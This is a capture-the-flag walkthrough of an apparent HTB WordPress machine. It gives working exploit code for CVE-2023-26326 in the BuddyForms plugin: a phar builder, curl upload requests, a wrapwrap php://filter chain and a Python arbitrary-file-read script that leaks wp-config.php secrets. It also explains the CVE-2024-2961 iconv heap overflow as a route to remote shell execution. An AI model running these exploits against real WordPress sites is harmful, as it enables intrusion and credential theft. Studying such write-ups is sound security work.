RECON

Port Scan

$ rustscan -a $target_ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBET3VRLx4oR61tt3uTowkXZzNICnY44UpSL7zW4DLrn576oycUCy2Tvbu7bRvjjkUAjg4G080jxHLRJGI4NJoWQ=
|   256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILbYOg6bg7lmU60H4seqYXpE3APnWEqfJwg1ojft/DPI
80/tcp open  http    syn-ack Apache httpd 2.4.62
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ports Open:

  • 22/tcp (SSH): OpenSSH 8.9p1 (Ubuntu).
  • 80/tcp (HTTP): Apache 2.4.62 (Debian), serving a website with the hostname blog.bigbang.htb.

http://blog.bigbang.htb strongly hints this is a blog website.

Blog

Overview

Obviously this is a WordPress Blog:

A request to /wp-content/plugins/buddyforms/assets/js/bf-global-js-big-bang.js?ver=6.5.4 indicates the buddyforms plugin found:

Wpscan

We can always us the tool wpscan against a WordPress blog web application:

Bash
wpscan --url 'http://blog.bigbang.htb'

As a result:

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.62 (Debian)
 |  - X-Powered-By: PHP/8.3.2
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://blog.bigbang.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://blog.bigbang.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blog.bigbang.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
 |  - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>

[+] WordPress theme in use: twentytwentyfour
 | Location: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.3
 | [!] Directory listing is enabled
 | Style URL: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] buddyforms
 | Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
 | Last Updated: 2024-09-25T04:52:00.000Z
 | [!] The version is out of date, the latest version is 2.8.13
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 2.7.7 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt
  1. WordPress Version 6.5.4 (Insecure): Outdated versions of WordPress often contain vulnerabilities that attackers exploit.
  2. XML-RPC Enabled: XML-RPC can be abused for:
    • Brute-forcing credentials using the xmlrpc.php endpoint.
    • Amplification in DoS attacks.
    • Pingback attacks (denial of service).
  3. Exposed Uploads Directory: Directory listing allows us to view uploaded files, which could include sensitive information or exploitable files (e.g., backups, database dumps, or vulnerable scripts), via http://blog.bigbang.htb/wp-content/uploads/
  4. BuddyForms Plugin (Version 2.7.7, Outdated): This outdated plugin could have vulnerabilities.
  5. Exposed Readme Files: Readme (http://blog.bigbang.htb/readme.html) files reveal versions of WordPress, plugins, and themes.
  6. Exposed WP-Cron: The WP-Cron feature could be leveraged for DoS attacks or used to execute malicious payloads if vulnerable.
  7. Theme in Use: Twenty Twenty-Four (Version 1.1): The theme is outdated (http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt), and directory listing is enabled (http://blog.bigbang.htb/wp-content/themes/twentytwentyfour). We can browse the theme directory (/wp-content/themes/twentytwentyfour/) for interesting files like backup archives or sensitive configurations.

APIs

We can observer some API endpoints crawled by BurpSuite Target:

http://blog.bigbang.htb/wp-admin/admin-ajax.php
http://blog.bigbang.htb/wp-admin/upload.php
http://blog.bigbang.htb/wp-content/uploads/2024/06/342-3427921_physics-atom-clipart-715454559-2.png
http://blog.bigbang.htb/wp-login.php
http://blog.bigbang.htb/xmlrpc.php

Directory Listing

Since we can perform directory listing through http://blog.bigbang.htb/wp-content/themes/twentytwentyfour:

Nothing interesting found from here yet.

WEB

WP Plugin | BuddyForms

CVE-2023-26326

The vulnerability of plugin BuddyForms can be found in CVE-2023-26326, which is explain in this article.

A brief Concept of the PoC:

  1. Create a malicious phar file.
  2. Upload the malicious phar file as an image via the upload_image_from_url action.
  3. Call the file with the phar:// wrapper using the same action.

As the author mentions - The main difficulty in exploiting this vulnerability is to find a gadget chain. There are several known gadgets chain for WordPress, but they are no longer valid on the latest versions.

Test The Methodology

The BuddyForms plugin for WordPress is commercial, so we cannot access its source code for the new versions public, but the older versions are hosted on Github in order to better facilitate community contributions from developers and users alike. Thus, we can inspect the vulnerable function buddyforms_upload_image_from_url() through this repository.

To verify the exploit logic, we can first create a malicious phar archive which will pretend to be an image :

PHP
<?php
// evil.php

class Evil {
    public function __wakeup() : void {
        // Trigger behavior to confirm deserialization
        file_put_contents('/tmp/phar_triggered.txt', "PHAR deserialized at " . date('Y-m-d H:i:s') . "\n", FILE_APPEND);
    }
}

// Create a new PHAR file
$phar = new Phar('evil.phar');
$phar->startBuffering();

// Add a dummy file (PHAR content)
$phar->addFromString('test.txt', 'text');

// Set the PHAR stub (disguising it as a GIF with "Hello World")
$phar->setStub("GIF89a\n<?php __HALT_COMPILER(); ?>\n<?php printf('Hello World'); ?>");

// Add an object of the Evil class as metadata
$object = new Evil();
$phar->setMetadata($object);

$phar->stopBuffering();

After the setup, we run the following command to execute the evil.php script while temporarily overriding the phar.readonly configuration to 0 (disabled) - By default, PHP prevents the creation of writable PHAR files unless phar.readonly is set to 0. This allows the creation of writable .phar archives:

Bash
php --define phar.readonly=0 evil.php

This shows the creation and inspection of a PHAR (PHP Archive) file as part of a potential PHP Object Injection (POI) exploit:

$ php --define phar.readonly=0 evil.php

$ ls evil.*
evil.phar  evil.php

$ strings evil.phar
GIF89a
<?php __HALT_COMPILER(); ?>
O:4:"Evil":0:{}
test.txt
textu
GBMB

$ cat evil.phar
GIF89a
<?php __HALT_COMPILER(); ?>
2�*;/�WGBMB%                     

The BuddyForms plugin on the target WordPress website (blog.bigbang.htb) is outdated and vulnerable, allowing arbitrary file uploads via its upload_image_from_url action. We will need to construct a POST request with corresponding parameters, which suits for the BuddyForms plugin:

Bash
curl 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' -v \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    -d "action=upload_image_from_url&id=1&accepted_files=image/gif&url=${evil_url}" 

Where ${evil_url} should be the URL containing a maliciously serialized PHP object.

We can test by serving the evil.phar on our HTTP server, then make a request to the vulnerable endpoint wp-admin/admin-ajax.php:

It works! The server returns a URL for the uploaded content, which we can open in the browser to view the PNG image:

The image can be downloaded using curl, which contains exactly the file we uploaded:

$ curl http://blog.bigbang.htb/wp-content/uploads/2025/01/1-1.png -v -o test.png

$ strings test.png
GIF89a
<?php __HALT_COMPILER(); ?>
O:4:"Evil":0:{}
test.txt
textu
GBMB

$ cat test.png
GIF89a
<?php __HALT_COMPILER(); ?>
2�*;/�WGBMB%

No WAF blocks us from uploading a phar archive, confirming a file read primitive. However, we can't trigger deserialization just yet. When attempting to leverage the phar:// protocol for LFI or SSRF, we modified evil_url to:

Bash
export evil_url='phar://../wp-content/uploads/2025/01/1-1.png'
# or
export evil_url='file:///etc/passwd'
# or
export evil_url='http://localhost'	

The server will respond failure:

{"status":"FAILED","response":"File type  is not allowed."}

Starting from PHP 8.0 (released in 2020), phar:// does not deserialise the metadata anymore to kill PHAR attacks, that we know our target through header X-Powered-By: PHP/8.3.2 with wpscan.

And we cannot upload a PHP file neither, as expected:

The article mentions it is patched in newer version (though we are having a outdated one but it could be patched somehow manually) of the plugin, by adding a security check:

PHP
if ( strpos( $valid_url, 'phar://' ) !== false ) {
  return;
}

However, this correction seems insufficient because the downloaded file is still not verified. It would still be possible to exploit the vulnerability if another plugin allows to call an arbitrary file, or using other protocols except phar:// which aren't blacklisted.

LFI SSRF | php://filter

If you're well-versed in PHP exploitation for web pentesting, the issue is obvious—we can upload a phar archive, but without a way to access and execute it as its intended format, it’s just another PNG when viewed in the browser. Typically, we'd pair this with an LFI primitive to complete the attack chain

Since we can’t access the latest BuddyForms source code, we assume it patches vulnerabilities using blacklists, as seen in past updates. This means alternative protocols might slip through.

One common trick in PHP is leveraging the php://filter protocol, often used in CTFs. It's detailed here on Hacktricts:

php://filter/[filters...]/resource=[resource]

It introduces 5 categories of filters in PHP, which are a list of transformation that we want PHP to apply on the stream:

  • String Filters:
    • string.rot13
    • string.toupper
    • string.tolower
    • string.strip_tags: Remove tags from the data (everything between "<" and ">" chars)
      • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
    • convert.base64-encode
    • convert.base64-decode
    • convert.quoted-printable-encode
    • convert.quoted-printable-decode
    • convert.iconv.* : Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>) . To get the list of all the encodings supported run in the console: iconv -l
  • Compression Filters
    • zlib.deflate: Compress the content (useful if exfiltrating a lot of info)
    • zlib.inflate: Decompress the data
  • Encryption Filters
    • mcrypt.* : Deprecated
    • mdecrypt.* : Deprecated
  • Other Filters
    • Running in php var_dump(stream_get_filters()); we can find a couple of unexpected filters:
      • consumed
      • dechunk: reverses HTTP chunked encoding
      • convert.*

None of the payloads worked—the server still rejects /etc/passwd with a File type is not allowed response.

To test if the restriction applies only to non-image files, I modified the evil_url to point to an actual image instead:

Bash
export evil_url='php://filter/convert.base64-encode|convert.base64-decode/resource=../wp-content/uploads/2025/01/1-1.png'

curl the /wp-admin/admin-ajax.php endpoint and we have a positive response:

Inspect the generated PNG file and download it for review:

$ curl http://blog.bigbang.htb/wp-content/uploads/2025/01/1-5.png -o test2.png
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   153  100   153    0     0    101      0  0:00:01  0:00:01 --:--:--   101

$ strings test2.png
GIF89a
<?php __HALT_COMPILER(); ?>
O:4:"Evil":0:{}
test.txt
text
Yzj1
GBMB

"It turns out we can upload specific file types—like PNG, GIF, JPG, and even PHAR archives—using the god-killing php://filter protocol.

With this, we now possess a leakage primitive that mimics LFI behavior, albeit with limitations on the file types. While it’s not true Local File Inclusion (as we’re not directly including files), we can leak file contents by exploiting this SSRF-enabled pseudo-LFI technique.

Tool of Disguise | wrapwrap

At this point, we have an Arbitrary Upload, a file-type-restricted LFI, an SSRF Entry, and a File Read primitive. However, crafting a working exploit still demands more effort. Since we’ve confirmed that the php://filter protocol allows us to perform LFI, our next goal is to target sensitive files instead of just leaking our uploaded images.

A solution to our challenge lies in wrapwrap, a tool by Ambionics Security—a renowned name in PHP exploitation. This tool generates a php://filter chain capable of adding a prefix and suffix to the contents of a file, allowing us to prepend image-specific metadata to any file we want to read. By doing so, we can trick the server into treating sensitive files as valid images, bypassing the file type restrictions.

Usage of wrapwrap:

usage: wrapwrap.py [-h] [-o OUTPUT] [-p PADDING_CHARACTER] [-f] path prefix suffix nb_bytes

Example:

    $ ./wrapwrap.py /etc/passwd '<root><test>' '</test></root>' 100
    [*] Dumping 108 bytes from /etc/passwd.
    [+] Wrote filter chain to chain.txt (size=88781).
    $ php -r 'echo file_get_contents(file_get_contents("chain.txt"));'
    <root><test>root:x:0:0:root:/root:/bin/bash=0Adaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin=0Abin:x:2:2:bin:/bin:/usr/</test></root>

positional arguments:
  path                  Path to the file
  prefix                A string to write before the contents of the file
  suffix                A string to write after the contents of the file
  nb_bytes              Number of bytes to dump. It will be aligned with 9

To test the tool, we can try to disguise /etc/passwd into a GIF file, by adding the GIF89a header:

Bash
python wrapwrap.py '/etc/passwd' 'GIF89a' ' 450000

This generates a chain in format of php"//filter protocol:

Modify the evil_url to utilize the wrapwrap-generated chain, then upload it through the vulnerable endpoint. This bypasses the file type restriction by spoofing the server into interpreting the file as an image. With this method, we can successfully perform arbitrary file read, leaking the contents of the uploaded 'image':

The /etc/passwd file leaked does not show any non-system users, The absence of regular user suggests this could be a Dockerized or containerized environment.

Arbitrary File Read

We can now create a script to automate the exploitation to perform arbitrary file read, using the chain we created by wrapwrap:

Python
import requests
import sys
import json

# Base URL for the target
BASE_URL = "http://blog.bigbang.htb/wp-admin/admin-ajax.php"

# Headers for the POST request
HEADERS = {
    "Content-Type": "application/x-www-form-urlencoded",
}

# Prefix for php://filter chain
chain_prefix = "php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource="


def send_lfi_request(file_to_read):
    """Send the LFI request with the given file to read."""
    data = "action=upload_image_from_url&id=1&accepted_files=image/gif&url=" \
    		+ chain_prefix + file_to_read
    try:
        response = requests.post(BASE_URL, headers=HEADERS, data=data)
        if response.status_code == 200:
            return response
        else:
            print(f"[-] Error: Received status code {response.status_code}")
    except Exception as e:
        print(f"[-] Exception occurred during LFI request: {e}")
    return None


def parse_lfi_response(response):
    try:
        result = response.json()
        if result.get("status") == "OK":
            return result.get("response", None)
        else:
            print(f"[-] Error: Status is not OK. Raw Response: {response.text}")
    except json.JSONDecodeError:
        print(f"[-] Error: Failed to decode JSON response. Raw Response: {response.text}")
    except Exception as e:
        print(f"[-] Unexpected error: {e}")
    return None


def fetch_file_contents(file_url):
    """Fetch the contents of the file from the given URL."""
    try:
        file_response = requests.get(file_url)
        if file_response.status_code == 200:
            return file_response.text
        else:
            print(f"[-] Error: Failed to retrieve file. Status code: {file_response.status_code}")
    except Exception as e:
        print(f"[-] Exception occurred while fetching the file: {e}")
    return None


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python LFI.py <file_to_read>")
        sys.exit(1)

    file_to_read = sys.argv[1]
    print(f"[+] Attempting to read file: {file_to_read}")

    # Step 1: Send the LFI request
    response = send_lfi_request(file_to_read)
    if not response:
        print("[-] Failed to send LFI request. Exiting...")
        sys.exit(1)

    # Step 2: Parse the response and get the file URL
    file_url = parse_lfi_response(response)
    if not file_url:
        print("[-] Failed to parse the response. Exiting...")
        sys.exit(1)

    print(f"[+] File URL: {file_url}")

    # Step 3: Fetch and decode the file contents
    file_contents = fetch_file_contents(file_url)
    if file_contents:
        print("[+] File Contents:")
        print(file_contents)
    else:
        print("[-] Failed to fetch file contents")

With the lfi.py script, we can now read any files on the WordPress server. The file structure of WordPress is detailed here. Since we are likely positioned in the /plugin directory, we can target the wp-config.php configuration file by appending a single ../ to our path:

Key findings from the truncated wp-config.php:

PHP
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wp_user' );

/** Database password */
define( 'DB_PASSWORD', 'wp_password' );

/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'AUTH_KEY',         '(6xl?]9=.f9(<(yxpm9]5<wKsyEc+y&MV6CjjI(0lR2)_6SWDnzO:[g98nOOPaeK' );
define( 'SECURE_AUTH_KEY',  'F<3>KtCm^zs]Mxm Rr*N:&{SWQexFn@ wnQ+bTN5UCF-<gMsT[mH$m))T>BqL}%8' );
define( 'LOGGED_IN_KEY',    ':{yhPsf}tZRfMAut2$Fcne/.@Vs>uukS&JB04 Yy3{`$`6p/Q=d^9=ZpkfP,o%l]' );
define( 'NONCE_KEY',        'sC(jyKu>gY(,&: KS#Jh7x?/CB.hy8!_QcJhPGf@3q<-a,D#?!b}h8 ao;g[<OW;' );
define( 'AUTH_SALT',        '_B& tL]9I?ddS! 0^_,4M)B>aHOl{}e2P(l3=!./]~v#U>dtF7zR=~LnJtLgh&KK' );
define( 'SECURE_AUTH_SALT', '<Cqw6ztRM/y?eGvMzY(~d?:#]v)em`.H!SWbk.7Fj%b@Te<r^^Vh3KQ~B2c|~VvZ' );
define( 'LOGGED_IN_SALT',   '_zl+LT[GqIV{*Hpv>]H:<U5oO[w:]?%Dh(s&Tb-2k`1!WFqKu;elq7t^~v7zS{n[' );
define( 'NONCE_SALT',       't2~PvIO1qeCEa^+J}@h&x<%u~Ml{=0Orqe]l+DD7S}%KP}yi(6v$mHm4cjsK,vCZ' );

// WordPress database table prefix.
$table_prefix = 'wp_';

define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

The host IP of database 172.17.0.1 again implies it should be in a container. And it reveals another configuration file wp-settings.php:

PHP
add_action( 'after_setup_theme', array( wp_script_modules(), 'add_hooks' ) );
add_action( 'after_setup_theme', array( wp_interactivity(), 'add_hooks' ) );

// Load must-use plugins.
foreach ( wp_get_mu_plugins() as $mu_plugin ) {
        $_wp_plugin_file = $mu_plugin;
        include_once $mu_plugin;
        $mu_plugin = $_wp_plugin_file; // Avoid stomping of the $mu_plugin variable in a plugin.

        /**
         * Fires once a single must-use plugin has loaded.
         *
         * @since 5.1.0
         *
         * @param string $mu_plugin Full path to the plugin's main file.
         */
        do_action( 'mu_plugin_loaded', $mu_plugin );
}
unset( $mu_plugin, $_wp_plugin_file );


// Load network activated plugins.
if ( is_multisite() ) {
        foreach ( wp_get_active_network_plugins() as $network_plugin ) {
                wp_register_plugin_realpath( $network_plugin );

                $_wp_plugin_file = $network_plugin;
                include_once $network_plugin;
                $network_plugin = $_wp_plugin_file; // Avoid stomping of the $network_plugin variable in a plugin.

                /**
                 * Fires once a single network-activated plugin has loaded.
                 *
                 * @since 5.1.0
                 *
                 * @param string $network_plugin Full path to the plugin's main file.
                 */
                do_action( 'network_plugin_loaded', $network_plugin );
        }
        unset( $network_plugin, $_wp_plugin_file );
}

// Create an instance of WP_Site_Health so that Cron events may fire.
if ( ! class_exists( 'WP_Site_Health' ) ) {
        require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
}
WP_Site_Health::get_instance();

Nothing found here to help us to gain a shell yet.

CVE-2024–2961 | Buffer Overflow

CVE-2024–2961 will be applied to the next step, as we can find relevant information on the internet - the PoC exactly uses the BuddyForms plugin as a demo for the exploit:

Identify Overflow | iconv

The Ambionics Security team, who is the PHP expert, release a research named "Iconv, Set the Charset to RCE" for CVE-2024-2961 in this article.

The CVE-2024-2961 vulnerability, discovered in GNU libiconv, involves arbitrary code execution due to improper input validation when handling specially crafted input during character set conversions. This vulnerability arises because of the ability to chain conversion filters in a way that exploits memory corruption.

The whole research is a beast. Therefore, I think cannot introduce the whole picture in a writeup for a seasonal machine, with limited length of writing. I will try to go through the key concepts within the exploit path - though you may have difficulties to understand when lacking certain knowledge for Binary Exploitation. Highly recommend for the original research.

The concept of exploitation is a lot like the Evil Corp Pwn challenge on HTB as well, introduced in this writeup - It was kept private and now I set the same password as this writeup.

As some fundamental knowledge, we should know many PHP functions are implemented in C - PHP itself is written in C. The iconv API, which we can trigger via LFI (or SSRF to be accurately), is used in PHP (via glibc on Linux, refer to the manual) to convert text between character sets. It involves two main steps:

  1. Opening a Conversion Descriptor:
    • iconv_open(tocode, fromcode) initializes the conversion between the specified input (fromcode) and output (tocode) charsets.
  2. Performing the Conversion:
    • iconv() converts data from the input buffer (inbuf) to the output buffer (outbuf), with the caller managing buffer sizes.
    • If the output buffer is insufficient, iconv() signals an error, allowing the caller to reallocate (the function to extend the heap) and continue the conversion.

The vulnerability lies in when the iconv implementation for the ISO-2022-CN-EXT charset. It misses certain boundary checks when emitting escape sequences. While the first escape sequence block ensures the output buffer has enough space, subsequent blocks do not. We can use exotic characters, such as , , or 湿, to overflow 1–3 bytes.

  • ISO-2022-CN-EXT uses escape sequences (ESC bytes, like \x1B) to switch between character sets.
  • Each character may require 4 bytes:
    • 2 bytes for the escape sequence.
      • ESC (\x1B) indicates the start of an escape sequence.
      • $ (\x24) specifies the start of a multi-byte character encoding.
    • 2 bytes for the encoded character.
  • Exotic characters like , , , or 湿 typically result in escape sequences followed by encoded character bytes. For example:
    • might be encoded as: ESC $ * H (byte format: \x1B\x24\x2A\x48).
    • This makes the total 4 bytes per character.
  • When processing these characters, the iconv implementation must write 4 bytes per character to the output buffer.
  • The vulnerability arises when iconv fails to check if enough space is available for these 4-byte escape sequences, leading to an out-of-bounds write (overflow).

Preconditions

The ISO-2022-CN-EXT vulnerability allowed for a 1-to-3 byte overflow, but the overflow was limited by:

  1. Non-controlled characters: The bytes written during overflow ($*H, $+I, etc.) could not be fully controlled by us.
  2. Preconditions for Exploitation:
    • We needed to control the output charset (set to ISO-2022-CN-EXT).
    • We also needed partial control over the input buffer (to inject specific Chinese characters like , , etc.).
    • A suitable output buffer for us to reach the return address with limited overflows (1 to 3 bytes).

Due to these constraints, finding viable exploitation targets was challenging - but the author manage to leverage php://filter protocol to exploit this Overflow, which is the standpoint of our current exploitation process.

PHP Heap

To dive into the attack, we need to figure out how PHP heap works (if you have difficulty understanding what it is, the following part could be too far for a learner of Binary Exploit).

  1. Memory Allocation:
    • PHP uses emalloc(N) to allocate N bytes and returns a pointer to a memory chunk.
    • When a chunk is no longer needed, it is released using efree(ptr).
    • PHP supports chunk sizes like 0x8, 0x10, 0x18, up to 0x200 or larger (e.g., 0x280).
  2. Heap Structure:
    • The PHP heap is a 2MB region, divided into 512 pages of 0x1000 (4KB) bytes each.
    • Each page stores chunks of a specific size (e.g., page 10 stores 0x100-byte chunks, page 11 stores 0x38-byte chunks).
    • No metadata exists between chunks to track allocations, making it efficient but vulnerable to overflows - because there will be no security checks between chunks on the heap.
  3. Free List Management:
    • Free chunks are added to a free list (a singly linked list - insecure again compared to double-linked list) for each chunk size.
    • When efree(ptr) is called, the chunk is added to the head of the free list (LIFO behavior).
    • When a chunk is needed, PHP allocates it from the free list. If the free list is empty, PHP creates new chunks in an unused page and adds them to the list.
  4. Overflow Vulnerability:
    • Unallocated chunks in the free list store a pointer to the next free chunk in the first 8 bytes.
    • If an overflow occurs from an adjacent allocated chunk, this pointer can be overwritten, altering the free list structure.

Once we can overwrite the pointer stored on a free list, this is then very simple - we can control the next allocated emalloc-chunk address to anywhere we want (somewhere dangerous), and then write any data on it to complete the final RCE attack with techniques like ROP.

php://filter

Here we come to our old friend again, but with a deeper, low-level perspective. We will see how PHP Handles php://filter.

  1. Streams and Buckets:
    • PHP reads the resource (e.g., /etc/passwd) into a stream, which is represented by a bucket brigade:
      • A bucket brigade is a doubly-linked list of buckets, each containing a buffer with a portion of the resource's data.
      • Example: /etc/passwd might be split across 3 buckets:
        • Bucket 1: First 5 bytes.
        • Bucket 2: Next 30 bytes.
        • Bucket 3: Next 1000 bytes.
  2. Processing Filters:
    • Filters (e.g., string.upper) are applied to the bucket brigade:
      • PHP processes one bucket at a time, allocating an output buffer of the same size as the bucket's input buffer.
      • For example, if the filter is string.upper, lowercase characters in the input buffer are converted to uppercase in the output buffer.
      • A new bucket is created for the processed data.
  3. Chaining Filters:
    • Once the first filter processes all buckets, a new bucket brigade is created with the output buckets.
    • The next filter is then applied to this new brigade.
    • This process continues until the last filter is applied.

This is kind of a simpler I/O operation for PHP, as we have understanding for other I/O operations implemented by GLIBC, Linux Kernel, etc.

A simple workflow illustration:

1 | Resource /etc/passwd → Bucket Brigade:

[Bucket 1: 5 bytes] → [Bucket 2: 30 bytes] → [Bucket 3: 1000 bytes]

2 | Apply Filter (e.g., string.upper):

Input Bucket → Output Buffer → New Bucket (uppercase data)

3 | Chain Filters:

Original Brigade → Filter 1 Output → Filter 2 Output → Final Brigade

Can you feel the dangers with this mechanism (trembling me)? The bucket brigade structure makes PHP's php://filter flexible but introduces potential vulnerabilities:

  • Filters process data in chunks, making them susceptible to buffer overflows if size checks are inadequate.
  • Chained filters amplify complexity, allowing attackers to craft intricate payloads (e.g., combining encoding/decoding filters).

Exploit The Overflow

Our goal is to leverage the memory corruption vulnerability in the convert.iconv.XXX.ISO-2022-CN-EXT filter for remote code execution (RCE).

Since now we have an Arbitrary File Read primitive with the exploitation from previous chapter, it enables us to:

  1. Read Critical Binaries:
    • Files like PHP, Apache, and shared libraries (e.g., libc) can be read for analysis.
    • Example: By reading the libc binary, we can verify whether it has been patched or not.
  2. Leak Memory Layout:
    • /proc/self/maps can be read to reveal the memory layout of the running process.
    • This bypasses ASLR (Address Space Layout Randomization) and PIE (Position Independent Executables), as we can identify base addresses of binaries and libraries - awesome for binex.
  3. Arbitrary Heap Manipulation:
    • By abusing buckets, we can allocate and deallocate buffers almost arbitrarily.
    • This allows precise manipulation of the heap, making it easy to prepare for exploitation.

Therefore, our objective is to leverage the single-byte buffer overflow in PHP filters (convert.iconv) to manipulate the heap and achieve write-what-where control for RCE.

Let's stop diving deeper from here - as we should read the article from the author to really learn how it work. A simple summary for the attack:

  1. Use zlib.inflate to create multiple buckets.
  2. Resize buckets with dechunk to align them with chunk sizes in the heap (0x100).
  3. Manipulate the free list by allocating, freeing, and overwriting pointers.
  4. Dynamically control buckets with the Russian doll technique for precise exploitation.
  5. Achieve write-what-where and execute arbitrary code.

The ultimate workflow we will apply to the attack:

  • Request 1: Reads /proc/self/maps to:
    • Leak the memory layout of the PHP process (including the heap address).
    • Leak libc base address for ROP.
  • Request 2: Downloads the matched libc binary to:
    • Extract the memory address of system(), enabling arbitrary command execution with command system('/bin/sh').
  • Request 3:Executes the final payload to:
    • Trigger the overflow.
    • Perform the heap manipulation.
    • Execute the command.

No more details introduced in this writeup. If you want to dive deeper, refer to the author's post.

PoC Script

If you don't get the idea, just follow the PoC introduced for this CVE on Github. But we need to make some modification to it to work on our case - that is why requiring you to have a fundamental knowledge on the vulnerability and debug the PoC.

Using the lfi.py created before we can easily access the /proc/self/maps to leak the libc addresses:

The PoC script will automate the process for us, so called cnext-exploit.py in the repository. All we need is to modify the helper class Remote by embedding the logic of the functions from lfi.py, and change the corresponding part followingly, which I will add comments as explanation in the script:

Python
